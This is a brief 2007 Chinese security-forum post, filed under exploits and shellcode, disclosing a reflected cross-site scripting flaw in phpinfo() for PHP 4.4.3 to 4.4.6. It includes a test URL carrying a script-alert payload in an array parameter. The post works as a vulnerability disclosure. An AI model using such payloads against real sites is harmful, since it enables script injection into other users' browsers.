邪恶八进制信息安全团队技术讨论组 » 安全测试代码{ Exploits and Shellcode } » PHP 4.4.3 - 4.4.6 phpinfo() Remote XSS Vulnerability [查看完整版本]

pub!1c 2007-3-8 22:50

PHP 4.4.3 - 4.4.6 phpinfo() Remote XSS Vulnerability

[code]

To manually test for this vulnerability just call the phpinfo() page with a parameter like this.

[url]http://localhost/phpinfo.php?a[/url][]=<script>alert(/XSS/);</script>
[/code]

查看完整版本: PHP 4.4.3 - 4.4.6 phpinfo() Remote XSS Vulnerability

© 1999-2008 EvilOctal Security Team